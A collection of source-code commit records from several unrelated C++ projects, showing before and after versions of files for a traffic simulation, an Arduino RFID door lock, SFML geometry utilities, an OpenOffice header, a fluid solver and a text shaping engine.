}
if (!cars_[i]->ready()) {
cars_[i]->set_ready(true);
++num_changed_cars;
}
}
}
void Segment::Pass(size_t max_allowed_cars) {
size_t passed_cars = 0;
for (size_t i = 0; i < cars_.size(); ++i) {
if (passed_cars == max_allowed_cars) {
break;
}
if (cars_[i]->ready() &&
cars_[i]->exit_junction() != enter_junction_->id() + 1) {
cars_[i]->set_ready(false);
next_->cars_.push_back(cars_[i]);
cars_.erase(cars_.begin() + i);
++passed_cars;
}
}
}
size_t Segment::num_cars() const {
return cars_.size();
}
std::vector<Car*> Segment::ready_cars() const {
std::vector<Car*> ret;
for (size_t i = 0; i < cars_.size(); ++i) {
if (cars_[i]->ready()) {
ret.push_back(cars_[i]);
}
}
return ret;
}
size_t Segment::enter_junction() const {
return enter_junction_->id();
}
void Segment::set_next(Segment* next) {
next_ = next;
}
} // namespace oop_project
<commit_msg>Segment: Added dep needed by GNU/Linux<commit_after>#include "segment.h"
#include <cstdlib>
#include <algorithm>
namespace oop_project {
const size_t Segment::kMaxCars = 5;
Segment::Segment(size_t capacity, Segment* prev, int ready_percent,
size_t num_junctions, size_t toll_pass_limit)
: capacity_(capacity),
enter_junction_(new Junction(num_junctions, toll_pass_limit)),
next_(NULL),
prev_(prev),
ready_percent_(ready_percent) {
size_t num_cars = std::min(capacity_, rand() % kMaxCars + 1);
cars_.resize(num_cars);
for (size_t i = 0; i < cars_.size(); ++i) {
size_t exit_junction = rand() % (num_junctions - enter_junction_->id()) +
enter_junction_->id();
cars_[i] = new Car(exit_junction, NULL);
}
}
Segment::~Segment() {
for (size_t i = 0; i < cars_.size(); ++i) {
delete cars_[i];
}
delete enter_junction_;
}
void Segment::Enter() {
size_t max_allowed_cars;
if (prev_ != NULL) {
max_allowed_cars = capacity_ - cars_.size();
prev_->Pass(max_allowed_cars);
}
max_allowed_cars = capacity_ - cars_.size();
std::vector<Car*> cars = enter_junction_->Operate(max_allowed_cars);
cars_.insert(cars_.end(), cars.begin(), cars.end());
}
void Segment::Exit() {
for (size_t i = 0; i < cars_.size(); ++i) {
if (cars_[i]->ready() &&
cars_[i]->exit_junction() == enter_junction_->id() + 1) {
delete cars_[i];
cars_.erase(cars_.begin() + i);
}
}
}
void Segment::Operate() {
Exit();
Enter();
std::random_shuffle(cars_.begin(), cars_.end());
size_t num_new_ready = ready_percent_ * cars_.size() / 100;
size_t num_changed_cars = 0;
for (size_t i = 0; i < cars_.size(); ++i) {
if (num_changed_cars == num_new_ready) {
break;
}
if (!cars_[i]->ready()) {
cars_[i]->set_ready(true);
++num_changed_cars;
}
}
}
void Segment::Pass(size_t max_allowed_cars) {
size_t passed_cars = 0;
for (size_t i = 0; i < cars_.size(); ++i) {
if (passed_cars == max_allowed_cars) {
break;
}
if (cars_[i]->ready() &&
cars_[i]->exit_junction() != enter_junction_->id() + 1) {
cars_[i]->set_ready(false);
next_->cars_.push_back(cars_[i]);
cars_.erase(cars_.begin() + i);
++passed_cars;
}
}
}
size_t Segment::num_cars() const {
return cars_.size();
}
std::vector<Car*> Segment::ready_cars() const {
std::vector<Car*> ret;
for (size_t i = 0; i < cars_.size(); ++i) {
if (cars_[i]->ready()) {
ret.push_back(cars_[i]);
}
}
return ret;
}
size_t Segment::enter_junction() const {
return enter_junction_->id();
}
void Segment::set_next(Segment* next) {
next_ = next;
}
} // namespace oop_project
<|endoftext|> |
<commit_before>#include "card-reader.h"
#include "credentials.h"
#include "electric-strike.h"
#include "led.h"
#include "sesame.h"
#include <Arduino.h>
Sesame::Sesame(void) :
cardReader(pinCardReaderRST, pinCardReaderSS),
electricStrike(pinElectricStrike, timeElectricStrikeOpen),
led(pinLedRed, pinLedGreen, pinLedBlue, timeLedBlink, timeLedPulse) {
};
void Sesame::loop(void) {
electricStrike.loop();
led.loop();
if (error) {
return;
};
card cardBuffer = cardReader.readCard();
if (cardBuffer.isBlank()) {
return;
};
if (cardBuffer.isEqualTo(masterCard)) {
administrating = !administrating;
led.blink(0, 0, 255);
return;
};
if (credentials.hasCard(cardBuffer)) {
if (administrating) {
credentials.eraseCard(cardBuffer);
led.blink(255, 0, 0);
return;
};
electricStrike.unlock();
led.blink(0, 255, 0);
return;
};
if (administrating) {
credentials.writeCard(cardBuffer);
led.blink(0, 255, 0);
return;
};
led.blink(255, 0, 0);
};
void Sesame::setup(void) {
cardReader.setup();
electricStrike.setup();
led.setup();
if (!cardReader.isWired()) {
error = true;
led.pulse(255, 0, 0);
return;
};
masterCard = credentials.readCard(0);
if (masterCard.isBlank()) {
led.set(0, 0, 255);
do {
masterCard = cardReader.readCard();
led.loop();
} while (masterCard.isBlank());
led.set(0, 0, 0);
masterCard.block = 0;
credentials.writeCard(masterCard);
};
led.blink(0, 255, 0);
};
<commit_msg>made some minor syntax changes<commit_after>#include "card-reader.h"
#include "credentials.h"
#include "electric-strike.h"
#include "led.h"
#include "sesame.h"
#include <Arduino.h>
Sesame::Sesame(void) :
cardReader(
pinCardReaderRST,
pinCardReaderSS
),
electricStrike(
pinElectricStrike,
timeElectricStrikeOpen
),
led(
pinLedRed,
pinLedGreen,
pinLedBlue,
timeLedBlink,
timeLedPulse
) {
};
void Sesame::loop(void) {
electricStrike.loop();
led.loop();
if (error) {
return;
};
card cardBuffer = cardReader.readCard();
if (cardBuffer.isBlank()) {
return;
};
if (cardBuffer.isEqualTo(masterCard)) {
administrating = !administrating;
led.blink(0, 0, 255);
return;
};
if (credentials.hasCard(cardBuffer)) {
if (administrating) {
credentials.eraseCard(cardBuffer);
led.blink(255, 0, 0);
return;
};
electricStrike.unlock();
led.blink(0, 255, 0);
return;
};
if (administrating) {
credentials.writeCard(cardBuffer);
led.blink(0, 255, 0);
return;
};
led.blink(255, 0, 0);
};
void Sesame::setup(void) {
cardReader.setup();
electricStrike.setup();
led.setup();
if (!cardReader.isWired()) {
error = true;
led.pulse(255, 0, 0);
return;
};
masterCard = credentials.readCard(0);
if (masterCard.isBlank()) {
led.set(0, 0, 255);
do {
masterCard = cardReader.readCard();
led.loop();
} while (masterCard.isBlank());
led.set(0, 0, 0);
masterCard.block = 0;
credentials.writeCard(masterCard);
};
led.blink(0, 255, 0);
};
<|endoftext|> |
<commit_before>#include <SFML/Graphics/Rect.hpp>
#include <SFML/System/Vector2.hpp>
#include <SFML/System/Vector3.hpp>
#include <SFML/Graphics/View.hpp>
#include <functional> // std::hash
#include <string>
namespace jd {
std::string const keyName(int keyCode);
// Taken from boost (not available in recent versions (non-standard))
template<typename T, typename H>
inline void hash_combine(
std::size_t& seed,
const T& t,
const H h = std::hash<T>())
{
seed ^= h(t) + 0x9e3779b9 + (seed << 6) + (seed >> 2);
}
// sf::Rect utilty //
template <typename T>
inline T right(sf::Rect<T> const& r) { return r.left + r.width; }
template <typename T>
inline T bottom(sf::Rect<T> const& r) { return r.top + r.height; }
template <typename T>
inline sf::Vector2<T> topLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, r.top);
}
template <typename T>
inline sf::Vector2<T> bottomRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), bottom(r));
}
template <typename T>
inline sf::Vector2<T> size(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.width, r.height);
}
template <typename T>
inline sf::Vector2<T> center(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left + r.width / 2, r.top + r.height / 2);
}
template <typename T>
inline sf::Rect<T> pointsTorect(sf::Vector2<T> topLeft, sf::Vector2<T> bottomRight)
{
return sf::Rect<T>(topLeft, topLeft + bottomRight);
}
// sf::Vector utility //
template <typename T>
inline bool isZero(sf::Vector2<T> v)
{
return v.x == 0 && v.y == 0;
}
template <typename T>
inline bool isZero(sf::Vector3<T> v)
{
return v.x == 0 && v.y == 0 && v.z == 0;
}
template <typename T>
inline sf::Vector3<T> vec2to3(sf::Vector2<T> xy, T z = 0)
{
return sf::Vector3<T>(xy.x, xy.y, z);
}
template <typename T>
inline sf::Vector2<T> vec3to2(sf::Vector3<T> xyz)
{
return sf::Vector2<T>(xyz.x, xyz.y);
}
template<typename Target, typename Source>
inline sf::Vector2<Target> vec_cast(sf::Vector2<Source> source)
{
return sf::Vector2<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y)
);
}
template<typename Target, typename Source>
inline sf::Vector3<Target> vec_cast(sf::Vector3<Source> source)
{
return sf::Vector3<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y),
static_cast<Target>(source.z)
);
}
// Clipping and line intersection //
// (using CohenSutherland algorithm)
namespace clip {
enum T {left = 1, right = 2, lower = 4, upper = 8};
}
template <typename T>
unsigned clipflags(sf::Vector2<T> p, sf::Rect<T> const& r)
{
unsigned k = 0;
if (p.y > bottom(r)) k = clip::lower;
else if (p.y < r.top ) k = clip::upper;
if (p.x < r.left ) k |= clip::left ;
else if (p.x > right(r) ) k |= clip::right;
return k;
}
template <typename T>
void clipPoint(sf::Vector2<T>& p, sf::Vector2<T> d, sf::Rect<T> r, unsigned& k)
{
if (k & clip::left) {
p.y += (r.left - p.x) * d.y / d.x;
p.x = r.left;
} else if (k & clip::right) {
p.y += (right(r) - p.x) * d.y / d.x;
p.x = right(r);
}
if (k & clip::lower) {
p.x += (bottom(r) - p.y) * d.x / d.y;
p.y = bottom(r);
} else if (k & clip::upper) {
p.x += (r.top - p.y) * d.x / d.y;
p.y = r.top;
}
k = clipflags(p, r);
}
template <typename T>
bool clipLine(
sf::Vector2<T>& p1, sf::Vector2<T>& p2,
sf::Rect<T> r)
{
unsigned k1 = clipflags(p1, r), k2 = clipflags(p2, r);
sf::Vector2<T> const d = p2 - p1;
while (k1 || k2) { // at most two cycles
if (k1 & k2) // both outside on same side(s) ?
return false;
if (k1) {
clipPoint(p1, d, r, k1);
if (k1 & k2)
return false;
}
if (k2)
clipPoint(p2, d, r, k2);
}
return true;
}
template<typename T>
bool intersection(
sf::Vector2<T> p1, sf::Vector2<T> p2,
sf::Rect<T> r)
{
sf::Vector2<T> inside1 = p1, inside2 = p2;
return clipLine(p1, p2, r);
}
// Various math functions //
namespace math
{
double const pi = 3.14159265;
template <typename T>
inline T rad(T degval)
{
return degval * pi / 180;
}
template <typename T>
inline T deg(T radval)
{
return static_cast<T>(radval * 180 / pi);
}
template <typename T>
inline T abs(sf::Vector2<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y);
}
template <typename T>
inline T abs(sf::Vector3<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y + v.z * v.z);
}
template <typename T>
inline T angle(sf::Vector2<T> a, sf::Vector2<T> b = sf::Vector2<T>(1, 0))
{
return atan2(a.y, a.x) - atan2(b.y, b.x);
}
template <typename T>
inline T operator* (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return scalar_product(v1, v2);
}
template <typename T>
inline T scalar_product (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return v1.x * v2.x + v1.y * v2.y;
}
} // namespace math
// sf::View utility //
sf::FloatRect viewRect(sf::View const& view);
void setViewRect(sf::View& view, sf::FloatRect const& newRect);
} // namespace jd
// std::hash support for sf::Vector2<T>, sf::Vector3<T> and sf::Rect<T>
namespace std {
template <typename T>
struct hash<sf::Rect<T>>: public unary_function<sf::Rect<T>, size_t> {
size_t operator() (sf::Rect<T> const& r) const
{
hash<T> hasher;
size_t result = hasher(r.left);
jd::hash_combine(result, r.top, hasher);
jd::hash_combine(result, r.width, hasher);
jd::hash_combine(result, r.height, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector2<T>>: public unary_function<sf::Vector2<T>, size_t> {
size_t operator() (sf::Vector2<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector3<T>>: public unary_function<sf::Vector3<T>, size_t> {
size_t operator() (sf::Vector3<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
jd::hash_combine(result, v.z, hasher);
return result;
}
};
} // namespace std
<commit_msg>sfUtil: include guard, other fixes, new functions.<commit_after>#ifndef SFUTIL_HPP_INCLUDED
#define SFUTIL_HPP_INCLUDED SFUTIL_HPP_INCLUDED
#include <SFML/Graphics/Rect.hpp>
#include <SFML/System/Vector2.hpp>
#include <SFML/System/Vector3.hpp>
#include <SFML/Graphics/View.hpp>
#include <functional> // std::hash
#include <string>
namespace jd {
std::string const keyName(int keyCode);
// Taken from boost (not available in recent versions (non-standard))
template<typename T, typename H>
inline void hash_combine(
std::size_t& seed,
const T& t,
const H h = std::hash<T>())
{
seed ^= h(t) + 0x9e3779b9 + (seed << 6) + (seed >> 2);
}
// Various math functions //
namespace math
{
double const pi = 3.14159265;
template <typename T>
inline T rad(T degval)
{
return static_cast<T>(degval * pi / 180);
}
template <typename T>
inline T deg(T radval)
{
return static_cast<T>(radval * 180 / pi);
}
template <typename T>
inline T abs(sf::Vector2<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y);
}
template <typename T>
inline T abs(sf::Vector3<T> v)
{
return std::sqrt(v.x * v.x + v.y * v.y + v.z * v.z);
}
template <typename T>
inline T angle(sf::Vector2<T> a, sf::Vector2<T> b = sf::Vector2<T>(1, 0))
{
return atan2(a.y, a.x) - atan2(b.y, b.x);
}
template <typename T>
inline T operator* (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return scalar_product(v1, v2);
}
template <typename T>
inline T scalar_product (sf::Vector2<T> v1, sf::Vector2<T> v2)
{
return v1.x * v2.x + v1.y * v2.y;
}
} // namespace math
// sf::Rect utilty //
template <typename T>
inline T right(sf::Rect<T> const& r) { return r.left + r.width; }
template <typename T>
inline T bottom(sf::Rect<T> const& r) { return r.top + r.height; }
template <typename T>
inline sf::Vector2<T> topLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, r.top);
}
template <typename T>
inline sf::Vector2<T> topRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), r.top);
}
template <typename T>
inline sf::Vector2<T> bottomRight(sf::Rect<T> const& r)
{
return sf::Vector2<T>(right(r), bottom(r));
}
template <typename T>
inline sf::Vector2<T> bottomLeft(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left, bottom(r));
}
template <typename T>
inline sf::Vector2<T> size(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.width, r.height);
}
template <typename T>
inline sf::Vector2<T> center(sf::Rect<T> const& r)
{
return sf::Vector2<T>(r.left + r.width / 2, r.top + r.height / 2);
}
template <typename T>
inline sf::Rect<T> pointsToRect(sf::Vector2<T> topLeft, sf::Vector2<T> bottomRight)
{
return sf::Rect<T>(topLeft, topLeft + bottomRight);
}
// sf::Vector utility //
template <typename T>
inline bool isZero(sf::Vector2<T> v)
{
return v.x == 0 && v.y == 0;
}
template <typename T>
inline bool isZero(sf::Vector3<T> v)
{
return v.x == 0 && v.y == 0 && v.z == 0;
}
template <typename T>
inline sf::Vector3<T> vec2to3(sf::Vector2<T> xy, T z = 0)
{
return sf::Vector3<T>(xy.x, xy.y, z);
}
template <typename T>
inline sf::Vector2<T> vec3to2(sf::Vector3<T> xyz)
{
return sf::Vector2<T>(xyz.x, xyz.y);
}
template<typename Target, typename Source>
inline sf::Vector2<Target> vec_cast(sf::Vector2<Source> source)
{
return sf::Vector2<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y)
);
}
template<typename Target, typename Source>
inline sf::Vector3<Target> vec_cast(sf::Vector3<Source> source)
{
return sf::Vector3<Target>(
static_cast<Target>(source.x),
static_cast<Target>(source.y),
static_cast<Target>(source.z)
);
}
template <template<typename> class V, typename T>
inline T distance(V<T> a, V<T> b)
{
return math::abs(b - a);
}
template <template<typename> class V, typename T>
inline T manhattanDistance(V<T> a, V<T> b)
{
auto const d = b - a;
return std::abs(d.x) + std::abs(d.y);
}
template <typename T>
sf::Vector2<T> nearestPoint(sf::Rect<T> in, sf::Vector2<T> to)
{
sf::Vector2<T> result = to;
if (to.x < in.left)
result.x = in.left;
else if (to.x > right(in))
result.x = right(in);
if (to.y < in.top)
to.y = in.top;
else if (to.y > bottom(in))
to.y = bottom(in);
return result;
}
template <typename T>
sf::Vector2<T> outermostPoint(sf::Rect<T> in, sf::Vector2<T> d, sf::Vector2<T> from)
{
return sf::Vector2<T>(
d.x == 0 ? from.x : d.x < 0 ? in.left : right(in),
d.y == 0 ? from.y : d.y < 0 ? bottom(in) : in.top);
}
// Clipping and line intersection //
// (using CohenSutherland algorithm)
namespace clip {
enum T {left = 1, right = 2, lower = 4, upper = 8};
}
template <typename T>
unsigned clipflags(sf::Vector2<T> p, sf::Rect<T> const& r)
{
unsigned k = 0;
if (p.y > bottom(r)) k = clip::lower;
else if (p.y < r.top ) k = clip::upper;
if (p.x < r.left ) k |= clip::left ;
else if (p.x > right(r) ) k |= clip::right;
return k;
}
template <typename T>
void clipPoint(sf::Vector2<T>& p, sf::Vector2<T> d, sf::Rect<T> r, unsigned& k)
{
if (k & clip::left) {
p.y += (r.left - p.x) * d.y / d.x;
p.x = r.left;
} else if (k & clip::right) {
p.y += (right(r) - p.x) * d.y / d.x;
p.x = right(r);
}
if (k & clip::lower) {
p.x += (bottom(r) - p.y) * d.x / d.y;
p.y = bottom(r);
} else if (k & clip::upper) {
p.x += (r.top - p.y) * d.x / d.y;
p.y = r.top;
}
k = clipflags(p, r);
}
template <typename T>
bool clipLine(
sf::Vector2<T>& p1, sf::Vector2<T>& p2,
sf::Rect<T> r)
{
unsigned k1 = clipflags(p1, r), k2 = clipflags(p2, r);
sf::Vector2<T> const d = p2 - p1;
while (k1 || k2) { // at most two cycles
if (k1 & k2) // both outside on same side(s) ?
return false;
if (k1) {
clipPoint(p1, d, r, k1);
if (k1 & k2)
return false;
}
if (k2)
clipPoint(p2, d, r, k2);
}
return true;
}
template<typename T>
bool intersection(
sf::Vector2<T> p1, sf::Vector2<T> p2,
sf::Rect<T> r)
{
sf::Vector2<T> inside1 = p1, inside2 = p2;
return clipLine(p1, p2, r);
}
// sf::View utility //
sf::FloatRect viewRect(sf::View const& view);
void setViewRect(sf::View& view, sf::FloatRect const& newRect);
} // namespace jd
// std::hash support for sf::Vector2<T>, sf::Vector3<T> and sf::Rect<T>
namespace std {
template <typename T>
struct hash<sf::Rect<T>>: public unary_function<sf::Rect<T>, size_t> {
size_t operator() (sf::Rect<T> const& r) const
{
hash<T> hasher;
size_t result = hasher(r.left);
jd::hash_combine(result, r.top, hasher);
jd::hash_combine(result, r.width, hasher);
jd::hash_combine(result, r.height, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector2<T>>: public unary_function<sf::Vector2<T>, size_t> {
size_t operator() (sf::Vector2<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
return result;
}
};
template<typename T>
struct hash<sf::Vector3<T>>: public unary_function<sf::Vector3<T>, size_t> {
size_t operator() (sf::Vector3<T> const& v) const
{
hash<T> hasher;
size_t result = hasher(v.x);
jd::hash_combine(result, v.y, hasher);
jd::hash_combine(result, v.z, hasher);
return result;
}
};
} // namespace std
#endif // include guard
<|endoftext|> |
<commit_before>/*************************************************************************
*
* OpenOffice.org - a multi-platform office productivity suite
*
* $RCSfile: ifinishedthreadlistener.hxx,v $
*
* $Revision: 1.2 $
*
* last change: $Author: obo $ $Date: 2007-07-18 13:33:25 $
*
* The Contents of this file are made available subject to
* the terms of GNU Lesser General Public License Version 2.1.
*
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2005 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
************************************************************************/
#ifndef _IFINISHEDTHREADLISTENER_HXX
#define _IFINISHEDTHREADLISTENER_HXX
#ifndef _OSL_INTERLOCK_H_
#include <osl/interlck.h>
#endif
/** interface class to listen on the finish of a thread
OD 2007-03-30 #i73788#
Note: The thread provides its ThreadID on the finish notification
@author OD
*/
class IFinishedThreadListener
{
public:
inline virtual ~IFinishedThreadListener()
{
};
virtual void NotifyAboutFinishedThread( const oslInterlockedCount nThreadID ) = 0;
protected:
inline IFinishedThreadListener()
{
};
};
#endif
<commit_msg>INTEGRATION: CWS changefileheader (1.2.342); FILE MERGED 2008/04/01 15:57:10 thb 1.2.342.2: #i85898# Stripping all external header guards 2008/03/31 16:54:14 rt 1.2.342.1: #i87441# Change license header to LPGL v3.<commit_after>/*************************************************************************
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* Copyright 2008 by Sun Microsystems, Inc.
*
* OpenOffice.org - a multi-platform office productivity suite
*
* $RCSfile: ifinishedthreadlistener.hxx,v $
* $Revision: 1.3 $
*
* This file is part of OpenOffice.org.
*
* OpenOffice.org is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License version 3
* only, as published by the Free Software Foundation.
*
* OpenOffice.org is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License version 3 for more details
* (a copy is included in the LICENSE file that accompanied this code).
*
* You should have received a copy of the GNU Lesser General Public License
* version 3 along with OpenOffice.org. If not, see
* <http://www.openoffice.org/license.html>
* for a copy of the LGPLv3 License.
*
************************************************************************/
#ifndef _IFINISHEDTHREADLISTENER_HXX
#define _IFINISHEDTHREADLISTENER_HXX
#include <osl/interlck.h>
/** interface class to listen on the finish of a thread
OD 2007-03-30 #i73788#
Note: The thread provides its ThreadID on the finish notification
@author OD
*/
class IFinishedThreadListener
{
public:
inline virtual ~IFinishedThreadListener()
{
};
virtual void NotifyAboutFinishedThread( const oslInterlockedCount nThreadID ) = 0;
protected:
inline IFinishedThreadListener()
{
};
};
#endif
<|endoftext|> |
<commit_before>/**
* solver.cpp
*
* by Mohammad Elmi
* Created on 24 Oct 2013
*/
#include "solver.h"
#include "gradient.h"
#include <iostream>
#include <iomanip>
namespace aban2
{
void solver::write_step(size_t step)
{
std::stringstream s;
s << out_path
<< std::setfill('0') << std::setw(6) << step
<< ".vtk";
d->write_vtk(s.str());
}
solver::solver(domain *_d, std::string _out_path): d(_d), out_path(_out_path)
{
projector = new projection(d);
_vof = new vof(d);
diffusor = new diffusion(d);
}
solver::~solver()
{
delete projector;
delete _vof;
delete diffusor;
}
void solver::step()
{
for (int i = 0; i < NDIRS; ++i)
std::copy_n(d->u[i], d->n, d->ustar[i]);
std::cout << " advection " << std::endl;
_vof->advect();
for (int i = 0; i < d->n; ++i)
d->nu[i] = d->nu_bar(d->vof[i]);
std::cout << " diffusion " << std::endl;
diffusor->diffuse_ustar();
std::cout << " source terms " << std::endl;
apply_source_terms();
std::cout << " pressure " << std::endl;
projector->solve_p();
std::cout << " updating " << std::endl;
projector->update_u();
std::cout << " calculating uf " << std::endl;
projector->update_uf();
std::cout //<< std::scientific
<< " divergance: " << divergance()
<< std::endl;
d->t += d->dt;
}
double solver::divergance()
{
auto grad_uf = gradient::of_uf(d);
double result = 0;
for (int i = 0; i < d->n; ++i)
#ifdef THREE_D
result += std::abs(grad_uf[0][0][i] + grad_uf[1][1][i] + grad_uf[2][2][i]);
#else
result += std::abs(grad_uf[0][0][i] + grad_uf[1][1][i]);
#endif
domain::delete_var(2, grad_uf);
return result;
}
void solver::run(size_t nsteps)
{
write_step(0);
for (int it = 0; it < nsteps; ++it)
{
std::cout << "running step " << it + 1
<< std::endl << std::flush;
step();
if ((it + 1) % d->write_interval == 0)
write_step((it + 1) / d->write_interval);
}
}
void solver::apply_source_terms()
{
for (size_t i = 0; i < d->n; ++i)
{
d->ustar[0][i] += d->g.cmpnt[0] * d->dt;
d->ustar[1][i] += d->g.cmpnt[1] * d->dt;
d->ustar[2][i] += d->g.cmpnt[2] * d->dt;
}
}
}
<commit_msg>initialization of rho based on vof values<commit_after>/**
* solver.cpp
*
* by Mohammad Elmi
* Created on 24 Oct 2013
*/
#include "solver.h"
#include "gradient.h"
#include <iostream>
#include <iomanip>
namespace aban2
{
void solver::write_step(size_t step)
{
std::stringstream s;
s << out_path
<< std::setfill('0') << std::setw(6) << step
<< ".vtk";
d->write_vtk(s.str());
}
solver::solver(domain *_d, std::string _out_path): d(_d), out_path(_out_path)
{
projector = new projection(d);
_vof = new vof(d);
diffusor = new diffusion(d);
}
solver::~solver()
{
delete projector;
delete _vof;
delete diffusor;
}
void solver::step()
{
for (int i = 0; i < NDIRS; ++i)
std::copy_n(d->u[i], d->n, d->ustar[i]);
std::cout << " advection " << std::endl;
_vof->advect();
for (int i = 0; i < d->n; ++i)
d->nu[i] = d->nu_bar(d->vof[i]);
std::cout << " diffusion " << std::endl;
diffusor->diffuse_ustar();
std::cout << " source terms " << std::endl;
apply_source_terms();
std::cout << " pressure " << std::endl;
projector->solve_p();
std::cout << " updating " << std::endl;
projector->update_u();
std::cout << " calculating uf " << std::endl;
projector->update_uf();
std::cout //<< std::scientific
<< " divergance: " << divergance()
<< std::endl;
d->t += d->dt;
}
double solver::divergance()
{
auto grad_uf = gradient::of_uf(d);
double result = 0;
for (int i = 0; i < d->n; ++i)
#ifdef THREE_D
result += std::abs(grad_uf[0][0][i] + grad_uf[1][1][i] + grad_uf[2][2][i]);
#else
result += std::abs(grad_uf[0][0][i] + grad_uf[1][1][i]);
#endif
domain::delete_var(2, grad_uf);
return result;
}
void solver::run(size_t nsteps)
{
for (int i = 0; i < d->n; ++i) d->rho[i] = d->rho_bar(d->vof[i]);
write_step(0);
for (int it = 0; it < nsteps; ++it)
{
std::cout << "running step " << it + 1
<< std::endl << std::flush;
step();
if ((it + 1) % d->write_interval == 0)
write_step((it + 1) / d->write_interval);
}
}
void solver::apply_source_terms()
{
for (size_t i = 0; i < d->n; ++i)
{
d->ustar[0][i] += d->g.cmpnt[0] * d->dt;
d->ustar[1][i] += d->g.cmpnt[1] * d->dt;
d->ustar[2][i] += d->g.cmpnt[2] * d->dt;
}
}
}
<|endoftext|> |
<commit_before>/*
* Copyright (C) 2017 Muhammad Tayyab Akram
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
extern "C" {
#include <SFArtist.h>
#include <SFBase.h>
#include <SFPattern.h>
#include <SFScheme.h>
}
#include <cstring>
#include <jni.h>
#include <map>
#include "JavaBridge.h"
#include "PatternCache.h"
#include "ShapingEngine.h"
using namespace Tehreer;
SFTextDirection ShapingEngine::getScriptDefaultDirection(SFTag scriptTag)
{
return SFScriptGetDefaultDirection(scriptTag);
}
ShapingEngine::ShapingEngine()
: m_sfArtist(SFArtistCreate())
, m_sfScheme(SFSchemeCreate())
, m_typeface(nullptr)
, m_typeSize(16.0)
, m_scriptTag(SFTagMake('D', 'F', 'L', 'T'))
, m_languageTag(SFTagMake('d', 'f', 'l', 't'))
, m_textMode(SFTextModeForward)
, m_textDirection(SFTextDirectionLeftToRight)
{
}
ShapingEngine::~ShapingEngine()
{
SFArtistRelease(m_sfArtist);
SFSchemeRelease(m_sfScheme);
}
void ShapingEngine::setTextDirection(SFTextDirection textDirection)
{
m_textDirection = textDirection;
SFArtistSetTextDirection(m_sfArtist, textDirection);
}
void ShapingEngine::setTextMode(SFTextMode textMode)
{
m_textMode = textMode;
SFArtistSetTextMode(m_sfArtist, textMode);
}
void ShapingEngine::shapeText(ShapingResult &shapingResult, const jchar *charArray, jint charStart, jint charEnd)
{
PatternCache &cache = m_typeface->patternCache();
PatternKey key(m_scriptTag, m_languageTag);
SFPatternRef pattern = cache.get(key);
if (!pattern) {
SFSchemeSetFont(m_sfScheme, m_typeface->sfFont());
SFSchemeSetScriptTag(m_sfScheme, m_scriptTag);
SFSchemeSetLanguageTag(m_sfScheme, m_languageTag);
pattern = SFSchemeBuildPattern(m_sfScheme);
cache.put(key, pattern);
SFPatternRelease(pattern);
}
jchar *stringOffset = const_cast<jchar *>(charArray + charStart);
void *stringBuffer = reinterpret_cast<void *>(stringOffset);
SFUInteger stringLength = static_cast<SFUInteger>(charEnd - charStart);
SFArtistSetPattern(m_sfArtist, pattern);
SFArtistSetString(m_sfArtist, SFStringEncodingUTF16, stringBuffer, stringLength);
SFArtistFillAlbum(m_sfArtist, shapingResult.sfAlbum());
jfloat sizeByEm = m_typeSize / m_typeface->ftFace()->units_per_EM;
bool isBackward = m_textMode == SFTextModeBackward;
shapingResult.setAdditionalInfo(sizeByEm, isBackward, charStart, charEnd);
}
static jint getScriptDefaultDirection(JNIEnv *env, jobject obj, jint scriptTag)
{
SFTag inputTag = static_cast<SFTag>(scriptTag);
SFTextDirection defaultDirection = ShapingEngine::getScriptDefaultDirection(inputTag);
return static_cast<jint>(defaultDirection);
}
static jlong create(JNIEnv *env, jobject obj)
{
ShapingEngine *shapingEngine = new ShapingEngine();
return reinterpret_cast<jlong>(shapingEngine);
}
static void dispose(JNIEnv *env, jobject obj, jlong engineHandle)
{
ShapingEngine *shapingEngine = reinterpret_cast<ShapingEngine *>(engineHandle);
delete shapingEngine;
}
